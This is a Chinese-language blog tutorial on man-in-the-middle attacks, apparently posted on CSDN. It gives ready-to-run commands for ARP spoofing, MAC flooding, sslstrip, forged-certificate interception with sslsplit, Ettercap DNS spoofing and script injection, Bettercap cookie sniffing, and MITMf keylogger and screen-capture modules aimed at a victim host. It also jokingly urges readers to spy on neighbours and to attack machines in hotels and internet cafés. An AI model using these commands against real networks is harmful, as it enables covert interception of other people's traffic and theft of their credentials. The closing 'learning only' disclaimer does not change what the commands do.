学习伦理黑客:漫谈中间人攻击的若干姿势

先说标题灵感来自于我高中时上过的一门物理选修课,叫《万有引力漫谈》;本文写在两只姊妹篇之间,分别是上篇《网络钓鱼(理论篇)》和下篇《网络钓鱼(实践篇)》(正在策划中),旨在为后面把钓鱼和中间人攻击结合起来做一个良好的铺垫。本文信息量略大,请耐心阅读。:)


浅显易懂的引子:为什么叫中间人

中间人,即中间的人,说明至少要三个人才能玩起来哦。

这里写图片描述

在这个例子中,、Client(客户端)、Hacker(黑客)、Server(服务端),刚好三个人;谁是中间人?当然是图中的黑客了:首先它伪装成服务端,和客户端说“我是服务端,请把你的请求发给我,ok?”,于是得到了来自客户端的请求报文,接着伪装成客户端和服务端说:“我是客户端,请把你的响应发送给我,ok?”,于是又轻松得到了来自服务端的响应报文,就这样一次看似简单的中间人攻击就这样完成了。

如果没有黑客,客户端直接把请求发送给服务端,服务端直接把响应发送给客户端——正是因为第三者(所谓中间人)的介入,打破了原本两人的亲密关系。

你也许会说,那客户端和服务端之前的关系也太不融洽了吧,怎么黑客这个第三者一介入,就让双方统统劈腿?非也,在这次由黑客一手策划的中间人攻击中,客户端、服务端,他们二人知道和自己聊天的是个欺骗感情的坏人吗?不,他们并不知道,他们以为和自己聊天的还是原来的那位挚友,但是事实上却并非如此!不是客户端和服务端的错,要怪就怪自己的疏忽大意好了。


网络世界的易容术:伪装成别人

黑客是如何伪装自己的呢?在现实世界中,你可以整容,变声,以把自己变成另一个人,而在虚拟的网路世界,每台主机的凭证——相当于现实世界的身份证ID——MAC地址,它是在机器出场时就印在机身上一辈子洗不掉的存据,对就是要伪造这个玩意!顺便提醒MAC地址和实际的网络位置是没有关系的。

下面就以kali下的一款arp欺骗(或者说arp投毒,是一个意思)工具arpspoof为例进行讲解。

(标记)在命令行界面敲如下命令

arpspoof -i $用来嗅探的网卡 -t $网IP地址 $目IP地址
aprspoof -i $用来嗅探的网卡 -t $目IP地址 $网IP地址

之所以敲了两行,是因为——始终记住:你是谁?你不是谁,你是中间人——既然是中间的人,就同时担当了伪装的客户端和伪装的服务端两重身份,所以要欺骗两头。我将使用无线网卡wlan0进行演示。

挂着这两个窗口让它帮你欺骗——原理就是伪装MAC地址,告诉客户端你是服务端的MAC地址,告诉服务端你是客户端的MAC地址——是的这时候你已经完成了一次没毛病的中间人攻击(具体讲是apr欺骗,arp spoof),至少从原理山看是这样的,但是你不开心了——卧槽我就为了看两张黑乎乎的命令行窗口?

扫描二维码关注公众号,回复: 2827677 查看本文章

这里写图片描述

莫急,心急是吃不了热豆腐的,既然已经完成了arp欺骗,那接下来的事情不就是发挥你的想象力和创造力的时候了么——这难道不正是你的长处吗?(笑)

还是那句话,你是谁?你不是谁,你是中间人。这句话,话中有话:你是中间人,是介于目标客户端、目标服务端两者之间的中间人,所以像画里一样,被你欺骗的两人的所有通信流量现在都要从你的手上经过,打开Wireshark之类的抓包工具,选择wlan0网卡,好了那两人的流量现在是你的了——这是一件多么辛福的事情啊!

Kali自带一款网络嗅探套件,名曰Dsniff套件,你可以在Github上找到它的源代码(这是它的项目地址:https://github.com/ggreer/dsniff),它包括dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy在内的被动式网络活动监听工具,sshmitm、webmitm在内的针对SSH和SSL的中间人攻击工具,arpspoof、dnsspoof、macof在内的主动欺骗工具,以及其他一些如tcpkill和tcpnice的小工具。

macof用来引起洪水攻击,它既可以攻击黑客所在的整个LAN,也可以指定目标IP精准攻击,这一看似乎和中间人没什么关系,但是千万不要小看它的威力,如果你有能力让对方掉线,不就在一定程度上迫使他连上你伪造的流氓AP了吗?通过伪造假的接入点来实现钓鱼,伪造成假的网关,这也是一种形式的中间人攻击,具体的演示我将在“钓鱼实践篇”中详细介绍,macof的命令格式如下

macof -i $用来攻击的网卡 -s $源IP地址 -d $目IP地址

这里写图片描述

让我们看看靶机是否躺枪:嘿嘿中招了♪(´ε` )

这里写图片描述

或者用driftnet展示目标正在浏览的图片也是一件比较好玩的事情:driftnet的使用很简单(虽然它并不完美),只要输入一行命令没准就能偷窥到你的邻居在浏览的什么羞羞的网站(笑),命令如下

driftnet -i $用来监听的网卡

这里写图片描述

上面的表演有一个致命的缺陷,那就是它只适用于HTTP,即未加密的那些网页,而现代很大一部分网页都加了HTTPS(虽然国内如新浪新闻、腾讯新闻、甚至FreeBuf这样的网页也没加HTTPS),由于缺少SSL证书和正确的秘钥,对于那些加密的网页单纯使用上面的方法是不行了,但所谓道高一尺,魔高一丈,黑客也不是吃素的,有人在零九年(好像)的全球黑客大会上演示了一款新的(现已经老了)工具,专门对付那些被HTTPS加密的网页,名曰sslstrip,它的作用就是把目标网页的HTTPS“变成”HTTP,比如https://www.securityornot.com,在经sslstrip“改造”后就变成了http://www.securityornot.com,后面的s去掉了,说明不存在SSL协议证书了,说明不安全了,说明有机可乘了!

好奇的你可能会问它是如何实现的:所谓HTTPS就是在HTTP协议上加了一层SSL协议,而一个正在进行中的SSL会话是难以被监听和攻击的,好看到这句话的破绽了么?既然说“正在进行中”难以实施入侵,不就是说一个尚未建立的SSL会话是可能被监听和攻击的吗(咳咳,语文水平)。一个正常的SSL会话是这样建立的:用户在浏览器输入的文字被解析为http开头的url,接着被服务器302重定向到https打头的相应网站,这是一个连贯而且强制的过程(前提是该服务器配备了https服务,而那是要钱的,你懂的),作为普通用户不会察觉到任何异样,而sslstrip就作用在该安全连接发生之前。

这里写图片描述

如图所示,客户端先向服务端发送http请求,服务端收到请求后发送https给客户端,中间被黑客拦截并将其篡改为http,这是一个连贯的过程,用户通常不会察觉。

sslstrip的使用十分简单

sslstrip -i $流量篡改的网卡 -l $监听的端口(默认为10000

具体的我就不演示了,即使演示了估计也没什么效果,首先是浏览器,它只针对一些老旧的浏览器(如IE的早期版本),其次目前大部分服务器配备了HSTS协议,用来强制客户端使用HTTPS和服务端建立连接(前提是有HTPS),HSTS的意义在于只要浏览器曾经与服务器创建过一次安全连接,之后浏览器会强制使用HTTPS,即使链接被换成了HTTP。

如果你还不死心,我建议你去Github下载sslstrip的最新版本——sslstrip2,它在原先的老版本基础上做了相应改进,由不同的人进行维护(传送门:https://github.com/LeonardoNve/sslstrip2)。

哦我忘了说(其实是故意的),上面的欺骗导致的直接后果就是你的受害者上不了网!这是一个很严重的后果,你的不法企图估计要再次落空。好在我们有补救的方法:返回前文,找到我标记的地方,敲以下命令

echo 1 > /proc/sys/net/ipv4/ip_forward

或者

sysctl -w net.ipv4.ip_forward=1

上面的命令把流经你的流量(如果目标地址不是你的话)进行转发到真正的目标地址,这样你的目标受害者就不会察觉到你的小动作了(大概)。

当然了,要实现网络身份的伪装,arp欺骗只是其的一种,它伪装的是MAC地址,而我们也可以伪装IP地址,实现IP欺骗——IP欺骗的原理较arp欺骗稍复杂,暂时不做介绍。


SSL证书劫持:就算HTTPS也不怕

有一句话叫“科技进步是把双刃剑”,想到了吗——既然开发出来HTTPS这个好东西,如果不“善加利用”那岂不是暴殄天物?(笑)

HTTPS使用混合加密,即应用了公钥和私钥两种技术进行加密。我认为理解针对SSL的中间人攻击之关键是公钥加密,私钥解密;公钥在公共通道上传输,私钥在私人场所中使用。下面的这张图解释了SSL证书劫持的原理:首先客户端向服务端请求公钥,服务端收到请求后发送的真公钥被黑客拦截并保存起来,接着黑客伪造一套自己的公钥和私钥,将假公钥发送给客户端,客户端用假公钥进行加密,并把数据返给服务端(但是被黑客拦截了),黑客用自己的假私钥解密获取受害者的敏感信息

做到这一步黑客已经获取了目标的敏感信息,但是他还可以更进一步:黑客将客户端向别人转账的请求修改为向自己转账,并用之前截获的真公钥加密发送给服务端,于是一次以中间人攻击为原理支持的银行转账攻击便在受害人毫无察觉的情况下完成了。攻击之所以顺利完成是因为客户端无法判断收到的公钥是否真的来自要请求的服务端,还是来自黑客的伪造

这里写图片描述

这个方法叫SSL证书劫持,或者你乐意叫它针对SSL证书的中间人攻击也没问题,自己开心就好。说到伪造SSL证书,就不得不提kali自带的一款名为openssl的工具,可以完成OpenSSL(SSL强大的密码库,支持多种加密算法)库中的所有功能。openssl的功能这里不可能全部列出。为了达到伪造证书的目的,要先生成私钥,然后用私钥去生成自签名的根证书,具体命令如下,我做了注释

openssl genrsa -out ca.key 2048   //生成2048位RSA私钥
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt   //使用私钥生成证书

这里写图片描述

看帮助文档明确写道genrsa已经被genpkey这个选项所代替,我试了下只改变选项名很可惜失败了,看来它们之间还有些许区别,等我研究透了再把这个坑填上。

使用iptables将来自各个端口的流量统一转发,方便之后的监听。别问我为什么把流量转发到8080和8443,大家都是这样做的╮( ̄▽ ̄”“)╭

iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

准备工作已经做完,然后把自己伪装成中间人(使用arp欺骗)

arpspoof -i $用来嗅探的网卡 -t $网IP地址 $目IP地址
aprspoof -i $用来嗅探的网卡 -t $目IP地址 $网IP地址

接下来就是sslsplit大显身手的时候了,你可以把它看成是一个透明代理,使用中间人攻击拦截TLS连接(TLS是HTTPS标准化的产物,习惯上称为SSL/TLS加密网络连接,说是SSL也没大毛病),它支持普通TCP、普通SSL、HTTP和HTTPS连接(IPv4和IPv6)。

之前生成的假私钥对应参数k,伪造证书对应参数c,除此之外还需要用到的参数有:l表示日志文件,另外两个参数分别是j和S,共同表明了连接的实际内容将被写到何处:比如j取/tmp,S取logdir/,那实际连接内容就被写到/tmp/logdir中。l选项实际上调用了chroot函数。D参数表示启用debug模式,有利于调试,遂选上。

sslsplit -D -l connect.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

好了,现在如果不出意外的话你将看到

这里写图片描述

这里写图片描述

上面的页面存在两种可能,如果可以在高级选项选择冒险进入说明我们的SSL证书劫持生效了,而如果高级选项也不允许用户冒险进入该网页即说明此网站使用了HSTS技术,对于后一种情况SSL证书劫持也无能为力。除非是第一次访问该网站,客户端要向服务端发送一个明文请求,在这种情况下黑客存在可利用之机,否则是没有办法的(但是目标受害人同时也无法正常访问该网站)。即使是第一次访问也不是说就完全没有办法保护,可以在浏览器里内置一个列表(preload list),只要是在这个列表里的域名,无论何时、何种情况,浏览器都只使用HTTPS发起连接。这个列表由Google Chromium维护,FireFox、Safari、IE等主流浏览器均在使用。(对此,黑客的心情是无比复杂的……)

如果对上述仍然存在疑惑(尤其是公钥私钥加密)的话,请参考这篇文章:http://www.youdzone.com/signature.html,以及这篇文章:https://blog.heckel.xyz/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/,认真看完后如有“会当临绝顶”之感。

和sslsplit类似,mitmproxy有更多的功能,它更像是一个控制台框架,是一个可以交互式方式运行的HTTPS代理,根据官方的说法它是一套瑞士军刀:它可用于拦截、检查、修改和重放Web流量,如HTTP/1、HTTP/2、WebSockets或任何其他受SSL/TLS保护的协议。mitmproxy、mitmdump、mitmweb三者共同组成了mitmproxy project,后两者可以看成是以mitmproxy为基础实现了不同的接口(纯命令行和web)。具体功能尚在研究中。


DNS欺骗和简单脚本注入:Ettercap的应用

DNS欺骗(DNS spoof),又名DNS污染/DNS投毒(DNS cache poisoning),是一种常见的针对域名解析的攻击手段。它的原理是这样的:因为客户端在URL请求发出去到收到对应IP地址,这需要时间,黑客就在客户端收到真正的IP地址之前伪造假的IP映射以完成欺骗。

另一个形似的名词叫DNS劫持,即域名劫持(DNS hijacking),它们完全是两个概念:DNS劫持说的是将原本属于A的IP映射到B,而DNS欺骗是指在客户端收到DNS服务器的真IP地址之前,向客户端发送伪造的IP地址映射以达到欺骗的效果。区别在于:DNS劫持是真的拿下了服务器,而DNS欺骗则是赶在IP映射返给客户端之前将错误信息发送给受害人罢了。举个例子你就懂了:DNS劫持->零几年的真事,百度和某ISP勾结将谷歌解析成百度首页,DNS欺骗->天朝的GFW你不要说不知道( ̄^ ̄)ゞ(笑)

Ettercap虽说功能不像后面讲的两款中间人框架一样强大,但是其功能的实用性和较高的可配置型性是让它成为了Kali下一款经典的嗅探工具。

首先我们将演示如何使用Ettercap的dns_spoof插件完成一次DNS欺骗攻击。在攻击之前,先理清思路:DNS欺骗,就是要赶在真DNS解析结果送达之前将假DNS伪造发送给目标机器——怎么才能确保目标机器收到的是自己的假的DNS回复包而不是来自服务端的真DNS回复包呢?没错,很自然的想到了使用中间人攻击,让通信双方的流量经过自己,拿到了DNS请求,就可以对它进行修改,甚至把它映射到自己的服务器地址

很好,到目前为止你都理解了。打开终端,敲

ettercap -G

这里写图片描述

打开Ettercap的图形界面。Ettercap有多种交互方式,除了GTK2图形界面,还有纯文本界面(T)、基于Ncurses的GUI界面(C)。Ettercap的插件有不少,比如包含了DOS攻击、HTTPS消除等很实用的小工具,这里仅做简单演示,而且它还允许用户自己配置插件,用起来很爽。

接下来使用你喜欢的编辑器打开/etc/ettercap/ettercap.dns,找到“microsoft sucks”这段进行编辑

这里写图片描述

这个文件在DNS欺骗中被解析,把原始网页重定向到目标网页。为了方便演示我使用自己的IP地址。

打开/var/www/html/index.html,编写主页的HTML源代码

这里写图片描述

接着启动Apache服务:Kali Linux内置了apache2服务,可以直接拿来用。

service apache2 start

别忘了IP转发

echo 1 > /proc/sys/net/ipv4/ip_forward

最后启动Ettercap完成中间人攻击。为了和上面区分,我特地用纯文本界面。

ettercap -i wlan0 -T -P dns_spoof -M arp:remote /192.168.1.4// /192.168.1.1//

如果你和我一样使用的是最新版的Ettercap,注意每个IP地址划分为三道而不是两道斜杠,这是为了兼容IPv6。

这里写图片描述

温馨提示:上面的攻击最好在宾馆、酒店、网吧之类的公共场所进行,因为那些电脑的浏览器要么比较老,要么就没装防火墙。

Ettercap还可以对目标进行简单的脚本注入,我们可以用它劫持对方的流量,篡改对方网页的内容,通俗的说就是可以修改对方网页的文字、图片之类的元素,甚至可以对受害人下载的文件动手脚,这十分有趣。(这通常需要用到一点HTML、Javascript等网络脚本知识)。在Ettercap中,使用-F参数调用过滤器完成相应的工作。

首先用你喜欢的编辑器创建一个用来替换网页http代码的脚本alert.filter(语法实例参见:https://github.com/Ettercap/ettercap/blob/master/share/etter.filter.examples

这里写图片描述

使用etterfilter(Ettercap套件之一)对脚本进行编译

etterfilter alert.filter -o alert.ef

这里写图片描述

在arp中间人之间同样勿忘IP转发

echo 1 > /proc/sys/net/ipv4/ip_forward

接着命令启动ettercap,-F选项表示启用过滤器文件

ettercap -T -q -i wlan0 -F alert.ef -M arp:remote /192.168.1.4//  /192.168.1.1//

如果命令不管用,就打开图形界面。哈哈。网易……

这里写图片描述

与此同时,黑客这边也会出现“Successfully injected”的提示

这里写图片描述

再试试替换图片的脚本……具体我将在下文框架部分给出,这里就不演示了。这张图片拿给你练练手。

这里写图片描述

除了替换文字、图片,只要是数据包能改成什么样,就能替换成什么样,甚至可以向受害人的流量中注入木马,当他下载某个软件时殊不知已经被我们换成了另一个文件。


中间人攻击框架:Bettercap & MITMf

说到中间人攻击的框架,就不得不提Bettercap和MITMf:Bettercap是一款轻量级、可配置的中间人框架,可看成是Ettercap的豪华升级版,而MITMf也十分经典,具体功能将在下面介绍。

Bettercap没有预装Bettercap,需要自己安装

apt-get install build-essential ruby-dev libpcap-dev
gem sources --remove https://rubygems.org/
gem sources -a https://ruby.taobao.org/
gem install bettercap

这里写图片描述

Bettercap所有的选项都是大写的,否则会报错。其中最简单的用法就是-X选项,默认情况下将扫描所有可能的元素

bettercap -I wlan0 -X

用-P选项指定特定的元素

bettercap -I wlan0 -P "URL, HTTPS, COOKIE"

用-T指定目标主机IP

bettercap -I wlan0 -T 192.168.1.4 -P COOKIE

这里写图片描述

上面的演示Bettercap会自动对目标欺骗,如果要关闭请使用–no-spoofing选项,这样就不会对目标网段的通信造成较大影响;值得一提的是,Bettercap的主机发现是也实时更新且全自动化的,这很方便。

Bettercap内置了HTTP服务器,这使得我们不需要费时间去配置其它程序就可以快速在本地开启网页访问服务。

对于HTTPS网站,Bettercap也整合了sslstrip;对于HSTS(强制HTTPS通信)的网站,Bettercap也可以进行去HTTPS处理绕过加密来实现对传输数据的嗅探。

听上去不错,但我们还有更好用的XeroSploit——它封装了Bettercap和Nmap的功能,模块化的设计实现了完全傻瓜式的操作,这是它的项目地址:https://github.com/LionSec/xerosploit,即使你对Bettercap的命令不熟悉也可以驾轻就熟的使用这个为“傻子”设计的中间人框架。我就不演示了。

同样的MITMf(https://github.com/byt3bl33d3r/MITMf)也需要用户手动安装。作者推荐使用virtualenv+virtualenvwrapper来安装:virtualenvwrapper是virtualenv的管理工具,可以方便的添加、删除、拷贝virtualenv虚拟环境。详情参考文档:https://virtualenvwrapper.readthedocs.io/en/latest/

中间人攻击框架MITMf同样需要手动安装,首先安装依赖库

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

接着pip安装virtualenv和virtualenvwrapper并创建工作目录

pip install virtualenv
pip install virtualenvwrapper
mkdir -p ~/.virtualenvs

然后把以下命令输入~/.bashrc文件并使其生效

export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python2.7
export WORKON_HOME=~/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh

使用virtualenvwrapper安装MITMf,mkvirtualenv命令生效后进入虚拟工作目录,在提示符左侧标有工作目录名称;之后输入deactivate命令以结束该状态

mkvirtualenv MITMf -p /usr/bin/python2.7
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt

注意:必须在工程的根目录下启动./mitmf.py,否则会报错。比如这样写:../mitmf.py就是错的。

这里写图片描述

新装的MITMf毛病不少,但是你必须自己解决。这里我给出我遇到的一些问题或使用心得:1. 把工程根目录方放到/opt下,这里用来存放一些用户的大型项目、2. 找到/opt/MITMf/config/mitmf.conf,这个它的主要配置文件、3. 网速,找个宽敞、无金属等遮挡物的地方下载第三方包、4. virtualenv安装的,勿忘workon切换工作目录、5. 替换模块无法正常工作,尝试在虚拟环境下pip uninstall Twisted,然后重新安装旧版本pip install Twisted==15.5.0、6、 如果遇到“couldn’t proxy request: time out”,尝试清理目标主机的浏览器缓存、7. 还有一些模块“可能”无法正常工作,需要重新安装的,分清楚虚拟环境和实体环境、8. MITMf的参数基本上前缀都是两道杠,基本没有一道杠、9. 如果发现命令敲下后没有反应,可能要等一会,有时候要2分钟才能出现屏幕回显(这个确实是……反正不快,耐心等着就是了),举个例子比如那个屏幕翻转一开始我也没成功,后来是等了一分多钟进度条加载完毕后刷新后发现成功了,所以不要急,你急是没用的。

我想就一个最常见的问题给出其解决方案:“Error 98 Address already in use”

这里写图片描述

netstat -pant   # 找出占用HTTP端口的那个进程,然后kill之

或者

kill `lsof -t -i:80`    # 80端口默认是给HTTP准备的监听端口

这些可能是它的常用模块

这里写图片描述

这里写图片描述

注入模块(Inject):注入Freebuf的url链接

./mitmf.py -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.4 --inject --html-url http://www.freebuf.com

这里写图片描述

./mitmf.py -i wlan0 --spoof --arp --dateway 192.168.1.1 --target 192.168.1.4 --replace 127.0.0.1/surprise.js

再看内置的键盘器(keylogger)记录脚本,想想吧你的每一次击键都被黑客看在看里(人家只是不说罢了)……还可以用来窃取登录的账号和密码。自己灵活发挥。

./mitmf.py -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.4 --jskeylogger

这里写图片描述

这里写图片描述

上下颠倒模块(貌似没什么卵用:愚人节快乐)

./mitmf.py -i wlan9 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.4 --upsidedownternet 

这里写图片描述

再看替换模块(Replace):对于替换模块,我们需要自己写配置文件,从操作上讲只要发现缺少参数的时候都应该像配置文件,MITMf的配置主文件前面讲过在工程根目录下/config/mitmf.conf,使用你喜欢的编辑器打开编写

别打我,我是拥政爱党的好公民……通过这个例子说明MITMf的替换模块同样支持中文,只要在配置文件中写好就行啦。

这里写图片描述

这里写图片描述

下面我要隆重介绍一个非常有趣的模块:—screen模块,它可以从劫持的流量中分析出对方的屏幕状态,并保存在你的本地;默认每10秒进行一次截屏,文件保存在工程根目录下的logs文件夹下面(想想自己的屏幕是不是正被人监控着,真是细思恐极……)。话说下面这样是不是有一种很极客的感觉?

./mitmf.py -i wlan9 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.4 --screen

这里写图片描述

有人会说,上面的东西和中间人有什么关系?问出这样的问题,其一说明你好学,这是好事,但是也从一个侧面说明你学艺不精,我再问你:什么是中间人?就是中间的人对不对?我们上面的这些东西怎么来的?流量是劫持来的,总不会是凭空变出来的吧!在上面的例子中,我们仍然充当中间人的角色,拦截目标主机的流量,并加上自己的“创作”——是的,从原理山看,它们都是中间人攻击。:)


后记:关于写作风格的转变及其它

估计有人注意到了本文的书写风格和以往大不一样:以前都是大篇幅的斜体+黑体,但是某天突然灵光一闪觉得这样写太蠢了,于是去掉了斜体,也尽量避免大篇幅的黑体,而在需要着重注意的地方都会用黑体加以区分。还有一点就是原来我觉得每段话最后的句号太丑了,遂果断丢弃,现在想想其实也还好了,至少从整体上看还是挺和谐的呢。

我将减少使用副标题,而尽量用自然语言把前后文连贯起来,否则老是满屏幕的副标题你看着不爽,我看着心里也不舒服。

整体看上去我认为至少比以前清爽,所以以后我也会接着这个书写风格来写,除非遇到更好的写法,否则就认为这是目前最好的措施。

然后就是网络钓鱼的下篇了,有了本文的铺垫,我想读者至少对中间人攻击有了一个宏观上的认识,也好,在网络钓鱼之实践篇我会把中间人攻击带进去讲,那样更综合,也更有意思。

中间人攻击关键是思想,本文有些东西纯属胡闹,不过是难登大雅之堂的小伎俩罢了。我想啊,以后还写一期关于中间人攻击的文章,把几个框架的高级用法讲讲。还很好玩的。不过,任何知识都是一个厚积薄发的过程,为了讲所谓的高级用法,我就必须要讲比如XSS、CSRF等漏洞的利用工具,比如著名的牛肉(BeEF)套件就是一个不错的范本。好好,今天就到这吧,打字敲的我也累了,喝口水先。

>>>郑重声明<<<
本文所有演示和思路谨作为本人的抛砖引玉之举,旨在学习交流,由此导致的任何法律连带责任本人概不负责。

猜你喜欢

转载自blog.csdn.net/abc_12366/article/details/81137767